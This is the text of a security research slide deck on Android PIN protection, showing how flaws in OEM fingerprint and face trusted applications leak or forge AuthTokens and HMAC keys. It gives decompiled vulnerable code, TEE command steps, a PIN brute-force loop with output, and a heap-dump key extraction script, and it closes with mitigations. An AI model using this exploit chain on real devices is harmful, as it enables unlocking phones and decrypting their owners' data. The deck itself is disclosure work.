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Why PIN is so important?

Multiple unlock methods: PIN / Fingerprint / Face. Collectively referred to as PIN.



Why PIN is so important?

PIN is required after boot 
(BFU → AFU)

PIN is required for biometric changes and payments.

PIN, the skeleton key in Android



Protecting PIN in Android

~10 years ago

Various vulnerabilities
Easy to root

Safeguarding PIN, even if Android is 
compromised / rooted

Introduced TrustZone-based TEE



How did Android protect PIN?

Non-Secure World

Android Service

Secure World

Verify
PIN

Verify result

If Android is rooted/compromised, 
how to secure the authentication result?



Authentication – Key Operation

Non-Secure World

Android Service

Secure World

PIN

AuthToken

Verify

Sign token

Verify token

Access keys

1. Key Operations require AuthToken
2. AuthToken protected by HMAC



BFU       &     AFU

CE keys are protected by KeyMaster.
Key operation is necessary.

Before-First-Unlock After-First-Unlock

Protected by Credential Encryption(CE) User data already decrypted

• Android lacks a multi-tier key hierarchy

• Many active background services

• Other unlock methods enabled

• Root = full user-data access



What is an AuthToken?

version

AuthToken

Who signs what and when. Protected by HMAC

challenge
userId
authenticatorId
authenticatortype
timestamp
AuthToken 
HMAC

Generate time

Verify server info

Verify user info



The AuthToken

challenge userId
authenticatorId type

timestamp
AuthToken HMAC

hw_auth_token: 0x45 bytes



AuthTokens between PIN / Face / FP Auth

challenge userId
authenticatorId 0

0x12345

HMAC SHA256
PIN

challenge 0xca6b1a868984c741

authenticatorId 1
0x65537

HMAC SHA256

challenge 0x8a6e92038d108bf1

authenticatorId 1
0x13337

HMAC SHA256

Generate by gatekeeper TA

Face Generate by face auth TA

Fingerprint Generate by fingerprint auth TA



How AuthToken used in Android?

gatekeeperd

Gatekeeper TA

Master key

Non-Secure World

Secure World

PIN / Pattern / Password

HMAC key

KeyMint TA

HMAC key

Keystore service

AuthToken

1. Setup

2. Request

4. Generate AT

5. Pass AT

3. Verify

Bio Auth TA

HMAC key Master key

Sensor

Fingerprintd / faced

3.Verify
1. Setup

2. Request

4. Generate AT

5. Pass AT

AuthToken

6. Verify AT &
Key operations

pwd_handle



KeyMint TA

PIN Related Keys

Gatekeeper TA

AuthToken

Verify

Pwd_handle

Non-Secure World

Secure World

Master key Key Operation

CE Intermediate key

PIN Scrypt
decrypt

decrypt

Possible targets include the PIN and its associated keys.

CE Intermediate key(enc)



Brute-force PIN?

Master key

PIN

Normally 6-digits

32-bytes

32-bytes
CE Intermediate key

decrypt

CE Intermediate key(enc)

KEK



Throttle is the core

Gatekeeper TA

Verify

Pwd_handle

Non-Secure World

Secure World

Master key

PIN Scrypt

decrypt

throttle

Gatekeeper throttles brute-force How to bypass gatekeeper?

Throttle in gatekeeper TA



Past attack methods



Past attack methods



Past attack methods
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gatekeeperd

Gatekeeper TA

Master key

Non-Secure World

Secure World

PIN / Pattern / Password

HMAC key

KeyMint TA

HMAC key

Keystore service

AuthToken

1. Setup

2. Request

4. Generate AT

5. Pass AT

3. Verify

Bio Auth TA

HMAC key Master key

Sensor

Fingerprintd / faced

3.Verify
1. Setup

2. Request

4. Generate AT

5. Pass AT

AuthToken

6. Verify AT &
Key operations

pwd_handle

What’s interesting in AT life cycle



gatekeeperd

Gatekeeper TA

Master key

Non-Secure World

Secure World

PIN / Pattern / Password

HMAC key

KeyMint TA

HMAC key

Keystore service

AuthToken

1. Setup

2. Request

4. Generate AT

5. Pass AT

3. Verify

Bio Auth TA

HMAC key Master key

Sensor

Fingerprintd / faced

3.Verify
1. Setup

2. Request

4. Generate AT

5. Pass AT

AuthToken

6. Verify AT &
Key operations

pwd_handle

What’s interesting in AT life cycle

AuthToken gains permissions



Gatekeeper AT vs BioAuth AT

challenge userId
authenticatorId 0

timestamp

HMAC SHA256

challenge userId
authenticatorId 1

timestamp

HMAC SHA256

HMAC key

Different fields, same HMAC key



First Idea

Gatekeeper AuthToken represents PIN verification results.

Validated AuthToken ⇒ authentication bypass.
The Bio Auth TA can also generate validated AuthTokens.

Gatekeeper TA KeyMint TA
AuthToken

But, how to forge a validated AuthToken from Bio Auth TA?



Gen AuthToken in Bio Auth TA

1. It seems that the generation of bio AuthTokens also requires bio auth.

2. AuthToken uses authenticator id and authenticator type fields to show who created it.

Challenges:

Is it truly that secure?
Of course no.



TAFp Auth

Chaos in Bio Auth TA

• HAL specs from Google are unclear.

• OEMs are required to comply with Android API 

calls, platform interfaces, and sensor vendor 

constraints.

• Implementation is inconsistent across OEMs.

Non-Secure World
Secure World

APP

Framework

HAL

Linux kernel

Platform

Peripheral

Qualcomm / MTK / Exynos / Kirin / Unisoc

Fp sensorcamera

Face AuthgatekeeperKeyMint

Android ODM platform sensor



We investigated ...

• 30+ Android devices from 9 independent manufacturers

• Mainly Qualcomm & MTK; a few Exynos and Unisoc

• Gatekeeper-based implementation

We found:

• Significant variation in Bio Auth TA implementation across OEMs

• Differences across chipsets, models, and sensor vendors



Collect TAs

1. Identify bio auth TA 2. Extract bio auth TA from firmware

TA encrypted



Bio Auth Workflow

Non-specific standards; varying implementations

TZ_CMD_ENROLL_PREPARE

TZ_CMD_ENROLL_INIT

TZ_CMD_ENROLL_DO

TZ_CMD_ENROLL_FINAL

AuthToken

Enrollment Authentication Deletion 

TZ_CMD_IDENTIFY_INIT

TZ_CMD_IDENTIFY_DO

TZ_CMD_IDENTIFY_FINAL

TZ_CMD_DELETE_PREPARE

TZ_CMD_DELETE_OP

AuthToken



Bio Auth TA Analysis Findings

Face Auth TA:
• Different across OEMs
• Similar across devices from the same OEMs

Fingerprint Auth TA:
• Varies across OEMs
• Devices with the same sensor vendor show 

similar implementation

Qualcomm & MTK: IPC and other features vary (HMAC 
sharing)
Multiple FP recognition solutions: ultrasonic, optical, and 
capacitive

Mainly implemented by 
smartphone manufacturers

Implemented by manufacturers 
using sensor vendor code

Face Auth TA



Link between FP TA and sensors
OEM Platform Model Fingerprint TAs Framework Category

Samsung

MTK A146P
00000000-5769-4e67-544b-464e53696c65 GSL
00000000-5769-4e67-544b-464e47667063 FPC
00000000-5769-4e67-544b-464e43686970 TCI

MTK E156B 00000000-0000-0000-0000-46494e474502 Samsung+EGIS
MTK A156U 00000000-0000-0000-0000-46494e474502 Samsung+EGIS
Exynos A5160 00000000-0000-0000-0000-46494e474552 Samsung+EGIS
Exynos A5560 00000000-0000-0000-0000-46494e474552 Samsung+EGIS

Qualcomm A057G
fp_lc_c.elf TCI
fp_lc_f.elf FPC
fp_lc_g.elf Goodix

Qualcomm S23 securefp Samsung+Qualcomm
fingerpr Qualcomm

Qualcomm C550

goodixfp64 Goodix
ancap64 ANC
securefp Samsung+Goodix
fingerpr Qualcomm



Potential Issues in Bio Auth TAs

Direct wrapper over sensor vendor APIs:
• Internal interfaces exposed

FP.aTA

API

> 50 handlers

Multiple FP TAs coexist on a device
• Each TA can generate validated AuthTokens

Complex Bio Auth TA
• Large codebase, board attack surface
• Template update,

recognition refinement, 
large buffer transfer…

Custom implementations
• Lack of a unified standard
• Debug interfaces left
• Log sensitive information
• Various unexpected/odd features

3 different FP TAs in Samsung A05s



Obtain a validated AuthToken?

Validated AuthToken ⇒ authentication bypass.
The Bio Auth TA can also generate validated AuthTokens.

Chaos in Bio Auth TA

Many ways to acquire a validated 
gatekeeper AuthToken,
or to make the KeyMint believe we 
have one.

• AUTH OBJ API exposed

• AUTH RES API exposed

• OOB READ - Memory Corruption

• HMAC KEY Leak



AuthToken 
Exploitations

03



Fingerprint Auth Software Arch



CAPTURE_IMG
(Capture the Fingerprint Image)

CHK_ESD 

TA Call Sequence & GET_AUTH_OBJ

GET_AUTH_OBJ sign the input AuthToken
without any Validation

__int64 get_auth_obj(__int64 buffer, int size)
{

if (size != 69 || buffer == 0)
return generate_hmac(0);

v4 = sub_4D580();
if (!v4 && dword_1F36EC) {

if (dword_1F36E8)
*(buffer + 9) = sub_4F408(dword_1F36E8);

}
v5 = fp_util_get_time();
*(buffer + 29) = v5;
*(buffer + 29) = sub_D180(v5);
return generate_hmac(buffer);

}
AUTH_STEP
(Compare with the enrollment)

GET_AUTH_OBJ 
(Return the Auth Result)

AUTH_END 



Call GET_AUTH_OBJ
Invoking TA: GET AUTH OBJ
Invoking TA Result: 0x0
Final AuthToken:
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
0x00, 0x0b, 0x0b, 0x3a, 0xc8, 0x6c, 0x9c, 0xe6, 
0x83, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 
0x00, 0x00, 0x34, 0xab, 0xf0, 0xe8, 0xb4, 0x11, 
0x9b, 0x60, 0x56, 0xa9, 0x5f, 0x1f, 0x14, 0x4d, 
0xe2, 0xbd, 0x7f, 0x35, 0xc0, 0xec, 0xc9, 0xa1, 
0x69, 0x95, 0xd7, 0x67, 0x12, 0xdc, 0x77, 0xd8, 
0xd3, 0x35, 0x57, 0xff, 0x58

Version=0x00
Challenge=0x0000000000000000
UserId=0x0B0B3AC86C9CE683
AuthenticatorId=0x0000000000000000
AuthenticatorType=0x00000001 (FINGERPRINT)
Timestamp=0x000000000034ABF0

External developers can communicate with the TA by 

loading the relevant libraries.

1. Invoke the TEEC library APIs to create a session.

2. Invoke the fingerprint TA’s GET_AUTH_OBJ 

command.

3. Parse the AuthToken from the response.

TEEC_InitializeContext(NULL, ctx);
TEEC_OpenSession(ctx,…);
TEEC_InvokeCommand(sess,

CMD_GET_AUTH_OBJ + 1, 
&op, &err_origin);



How to use leaked AuthToken



How to use leaked AuthToken
Keymaster must verify the AuthToken

when decrypting the spblob.

int verify_hw_token(const void *token) {
uint8_t key[KM_AUTHTOKENKEY_LEN];
uint8_t output[KM_AUTHTOKENKEY_LEN];
const hw_auth_token_t *t = token;
uint32_t len = sizeof(*t) - sizeof(t->hmac);
void *ret;
if (tz_get_key_ex(key, KEY_TYPE_AUTHTOKEN)){

LOGE("Cannot get HMAC key Error");
return -1;

}
ret = HMAC(EVP_sha256(),

key, sizeof(key),
t, len, output, &len);

return CRYPTO_memcmp(t->hmac,
output,
sizeof(t->hmac));

}



How to use leaked AuthToken



AuthToken -> ?

Attacker can obtain the 
output of decrypt(spblob).

unwrapPasswordBlob uses 
the output of decrypt(spblob) 
to derive the credential-
encryption key.



AuthToken -> ?

unwrapPasswordBlob is essentially an 

AES decryption operation.

💡：The ciphertext (intermediate) can 

be obtained by an attacker.

SyntheticPassword = decrypt(
blob = intermediate,
key = ProtectorSecret,
mode = AES_GCM

)



unwrapPasswordBlob

unwrapPasswordBlob is essentially an 

AES decryption operation.

💡：The ciphertext (intermediate) can 

be obtained by an attacker.

SyntheticPassword = decrypt(
blob = intermediate,
key = ProtectorSecret,
mode = AES_GCM

)

How about the Key?



ProtectorSecret Generation
Path PASSWORD_PATH =
"/data/system_de/<uid>/spblob/<handle>.pwd"
Path SECDIS_PATH =
"/data/system_de/<uid>/spblob/<handle>.sedis"
byte[] pwd = loadState(PASSWORD_PATH);
byte[] stretchedLskf = scrypt(credential,

pwd);
byte[] sediscardable = loadState(SECDIS_PATH);
byte[] protectorSecret = transformSecdis(

stretchedLskf,
sediscardable);



AES_GCM
SyntheticPassword = decrypt(

blob = intermediate,
key = ProtectorSecret,
mode = AES_GCM

)



PIN Brute-Force
function recover_credential():

AuthToken = request_auth_token()
intermediate = build_inter(AuthToken, pwdfile)
for cred in candidate_credentials:

ProtectorSecret = derive_ProtectorSecret(cred)
try:

plaintext = decrypt(
key=ProtectorSecret,
ciphertext=intermediate,
mode=AES_GCM

)
except AuthTagMismatchError:

continue
return cred

[+] Begin!!!
[+} Start to dump files
[+] Dump files successfully!!
[+] Start to dump intermediate
[+] Dump intermediate successfully
[+] Start to bruteforcing PIN
[+] 0/1000000
[+] Found!
[+] PIN: 000000 🎉



Any Other?
The vulnerable fingerprint TA is 

provided by Silead (FPC).

Other devices using Silead (FPC) 

may have similar issues.



Same Cases



GET_AUTH_RESULT But Limited
GET_AUTH_RESULT

returns a valid AuthToken

switch (cmdId) {
...
case 4:
qsee_log("begin to create HMAC. get_auth_result ");
v41 = st_read_from_file("userId", &v59, 8u);
v48 = st_read_from_file("userIdId.bak", &v59, 8u);
uptime = qsee_get_uptime(v42);
auth_id = face_get_auth_id(&v61);
memcpy(req_buf + 0x110, &v49, 69);
v54 = face_hmac_sha256( req_buf + 0x110,

0x25u, &unk_14445,
0x20u, req_buf + 309);

*(req_buf + 8) = v29;
return result;
...

}

However, the obtained AuthToken

has limitations: several critical 
fields are not controllable

• type

• userId

• timestamp



AuthToken Validation

🧐

Biometric authentication does not take 

part in deriving the CE key.

Therefore, during CE key derivation, 

Keymaster should not accept 

AuthTokens from fingerprint or face 

authentication to decrypt the spblob.



AuthToken Validation

🧐

Biometric authentication does not take 

part in deriving the CE key.

Therefore, during CE key derivation, 

Keymaster should not accept 

AuthTokens from fingerprint or face 

authentication to decrypt the spblob.

But is that really the case?



AuthToken Validation

✅



Next Target

The AuthToken is signed with the HMAC key to 

protect its confidentiality and integrity.

If we obtain the HMAC key, we can mint 

arbitrary AuthToken.😈

int qsee_hmac (
int alg,
const void *msg,
size_tmsg_len,
const void *key,
size_t key_len,
void *mac_out

);

int64 arcsoft_fpqsee_generate_hmac( int64 a1,
__int8 *a2)

{
v2 = a2 + 37;
memset(a2 + 37, 0, 0x20u);
return qsee_hmac(2, a2, 0x25u, 

(a1 + 56), 0x20u, v2);
}



Next Target

The AuthToken is signed with the HMAC key to 

protect its confidentiality and integrity.

If we obtain the HMAC key, we can mint 

arbitrary AuthToken.😈

int qsee_hmac (
int alg,
const void *msg,
size_tmsg_len,
const void *key,
size_t key_len,
void *mac_out

);

int64 arcsoft_fpqsee_generate_hmac( int64 a1,
__int8 *a2)

{
v2 = a2 + 37;
memset(a2 + 37, 0, 0x20u);
return qsee_hmac(2, a2, 0x25u, 

(a1 + 56), 0x20u, v2);
}

Next Hunt Target :

AuthToken HMAC Key



__int64 validate_incoming_token(__int64 a1)
{

...
v6 = fp_hmac_sha256(authtoken, 37, hmac_key, 32, v13);
...
v8 = 0;
for ( j = 0; j != 32; ++j )
{

v10 = v13[j];
v11 = *(&off_18EE40 + j + 69);
v8 |= (v11 ^ v10);

}
if ( v8 )
{

log_internal(1, "fp_ta_hw_auth.c %s HMAC doesn't match", "validate_incoming_token");
for ( k = 0; k != 32; ++k )
{

...
log_internal(

1,
"fp_ta_hw_auth.c %s ta->hmac_key[%d]: %d, ",
"validate_incoming_token",
k,
*(&off_18EE40 + k + 101));

log_internal(1, "fp_ta_hw_auth.c %s hmac[%d]: %d, ", "validate_incoming_token", k, v13[k]);
}

}
...
}

Print the HMAC Key

Validate the incoming AuthToken

Wait，Print the HMAC Key in the log？🤯



Print the HMAC Key
fpCoreTA[ERR] fp_ta_hw_auth.c validate_incoming_token HMAC doesn't match
fpCoreTA[ERR] fp_ta_hw_auth.c validate_incoming_token incoming_token:hmac[0]: 122,
fpCoreTA[ERR] fp_ta_hw_auth.c validate_incoming_token ta->hmac_key[0]: 54,
fpCoreTA[ERR] fp_ta_hw_auth.c validate_incoming_token hmac[0]: 243,
fpCoreTA[ERR] fp_ta_hw_auth.c validate_incoming_token incoming_token:hmac[1]: 177,
fpCoreTA[ERR] fp_ta_hw_auth.c validate_incoming_token ta->hmac_key[1]: 75,
fpCoreTA[ERR] fp_ta_hw_auth.c validate_incoming_token hmac[1]: 31,
fpCoreTA[ERR] fp_ta_hw_auth.c validate_incoming_token incoming_token:hmac[2]: 178,
fpCoreTA[ERR] fp_ta_hw_auth.c validate_incoming_token ta->hmac_key[2]: 130,
fpCoreTA[ERR] fp_ta_hw_auth.c validate_incoming_token hmac[2]: 29,
...

Final HMACKEY:
0x36, 0x4b, 0x82, 0xe5, 0xff, 0x7e, 0xd2, 0xa0, 0x76, 0xb4, 0x8d, 0x42, 0x51, 0x27, 0x0f, 0x88, 
0xaa, 0xc7, 0xe9, 0x96, 0x2d, 0x5f, 0x98, 0x90, 0x31, 0xda, 0x28, 0xf6, 0x91, 0x8c, 0xb5, 0x2d 🎯



AuthToken HMAC Key
__int64 tz_app_init()
{
const char *Version; // x0

Version = ARC_FP_GetVersion();
g_hFP = ARC_FP_Init(0xEu);
return 0;

}

unsigned __int8* ARC_FP_Init(unsigned int a1)
{
*off_C441E8 = AlgoBaseInit(v14);

v2 = arcsoft_fpqsee_alloc_mem(968, "ARC_FP_Init", 83);
memset(v2, 0, 0x3C8u);
v4 = off_C441C8[0];
arcsoft_fpqsee_read_config_file(v2);
arcsoft_fpqsee_read_otp(v2, &v12, 32);
memcpy(off_C441C0[0], &v12 + 3, 9);

ArcGenModuleVeriCode(&v12, 28, &v11);
arcsoft_fpqsee_generate_image_id(v8);
return v2;

}

__int64 tz_app_cmd_handler(const void *a1, int a2, const void *a3,
int a4)
{
result = g_hFP;
if ( g_hFP )
{
v9 = ARC_FP_Process(g_hFP, a1, a2, a3, a4);

}
return result;

}

if ( cmdId == 0x4001 )
{

result = arcsoft_fpqsee_set_hmac_key(
g_hFP_ptr, send_buf, share_memory_1);

}

__int64 arcsoft_fpqsee_set_hmac_key(__int64 a1, __int64 a2)
{
v11 = (a1 + 88);
memset(v15, 0, sizeof(v15));
v12 = qsee_decapsulate_inter_app_message( v15, v10 - 4,

(v5|(v8<<8))|(v9<<16),
v11 - 8, v11);

return v13;
}

g_hFP allocate on the heap end with “ARC_FP_Init”

set the hmac key in g_hFP + 88 on the heap



TA PWN
TA involves a large number of subcommands.



__int64 arcsoft_fpqsee_get_factory_test_result(__int64 cmdId,
__int64 share_memory_buffer)

{
CEnterLeave::CEnterLeave(v7, "arcsoft_fpqsee_get_factory_test_result");
v6 = 0;
v5 = 0;
v3 = arcsoft_fpqsee_load_file_ex("arcfp_fac_setting.bin");
if ( !v3 )

memcpy(buffer+ *(share_memory_buffer + 20),
v6 + *(share_memory_buffer + 12), 
*(share_memory_buffer + 16));

CEnterLeave::~CEnterLeave(v7);
return v3;

}

Out-of-bounds Heap Read

out-of-bounds heap read

Using the heap out-of-bounds read primitive, we can dump the entire TA heap.

But where is the AuthToken HMAC key?



Out-of-bounds Heap Read
__int64 tz_app_init()
{
const char *Version; // x0

Version = ARC_FP_GetVersion();
g_hFP = ARC_FP_Init(0xEu);
return 0;

}

unsigned __int8* ARC_FP_Init(unsigned int a1)
{
*off_C441E8 = AlgoBaseInit(v14);

v2 = arcsoft_fpqsee_alloc_mem(968, "ARC_FP_Init", 83);
memset(v2, 0, 0x3C8u);
v4 = off_C441C8[0];
arcsoft_fpqsee_read_config_file(v2);
arcsoft_fpqsee_read_otp(v2, &v12, 32);
memcpy(off_C441C0[0], &v12 + 3, 9);

ArcGenModuleVeriCode(&v12, 28, &v11);
arcsoft_fpqsee_generate_image_id(v8);
return v2;

}

__int64 tz_app_cmd_handler(const void *a1, int a2, const void *a3,
int a4)
{
result = g_hFP;
if ( g_hFP )
{
v9 = ARC_FP_Process(g_hFP, a1, a2, a3, a4);

}
return result;

}

if ( cmdId == 0x4001 )
{

result = arcsoft_fpqsee_set_hmac_key(
g_hFP_ptr, send_buf, share_memory_1);

}

__int64 arcsoft_fpqsee_set_hmac_key(__int64 a1, __int64 a2)
{
v11 = (a1 + 88);
memset(v15, 0, sizeof(v15));
v12 = qsee_decapsulate_inter_app_message( v15, v10 - 4,

(v5|(v8<<8))|(v9<<16),
v11 - 8, v11);

return v13;
}

g_hFP allocate on the heap end with “ARC_FP_Init”

set the hmac key in g_hFP + 88 on the heap



Out-of-bounds Heap Read

[+] Find "ARC_FP_Init": 0xf500
[+] Find HMAC Key: 35 7B 3C CA 38 F8 D3 45 

25 B0 20 8D 69 49 BD EC 
EA 73 3F 8A 09 DD 55 01 
A4 37 38 30 D5 85 BE 66

1. Trigger the vulnerability to dump the fingerprint TA’s 

heap memory.

2. Use the ARC_FP_Init string to locate the exact 

position of the HMAC key.

3. Extract the HMAC key and mint anAuthToken.

4. Request Keymaster to decrypt intermediate.

5. Offline brute-force the credentials until intermediate 

is successfully decrypted.

with open("./files/dump_heap.bin", "rb") as f:
data = f.read()

str_pos = find_string_in_bytes(data, "ARC_FP_Init")[0]
key_pos = str_pos - 0x3a8
print(f"[+] Find\"ARC_FP_Init\": {hex(str_pos)}")
hmac_key = data[key_pos:key_pos+32]
print(f"[+] Find HMAC Key: {hexdump.dump(hmac_key)}")
with open("./files/HMAC.key", "wb") as f:

f.write(bytes(hmac_key))

Traditional memory vulnerabilities can also be exploited within the TEE.

Moreover, due to the unique characteristics of TAs, even relatively weak 
exploitation primitives can cause severe compromise.



Live DEMO



Mitigations04



Mitigations

1. Establish a unified standard and framework for biometric authentication

2. Enhance the security of exposed interfaces and HMAC keys

3. Further protect PIN through SE/Weaver-based solutions



Summary

• Shared HMAC key between gatekeeper and bio auth TAs

• → single failure domain; one compromise compromises all TAs.

• No clear standards/security requirements for biometric auth under HAL 

• → many inconsistent, vulnerable implementations.

• An undisclosed attack surface likely to be (or already been) used in mobile 
forensics.

• Requires TA communication; boot-chain and Linux kernel flaws can provide it.
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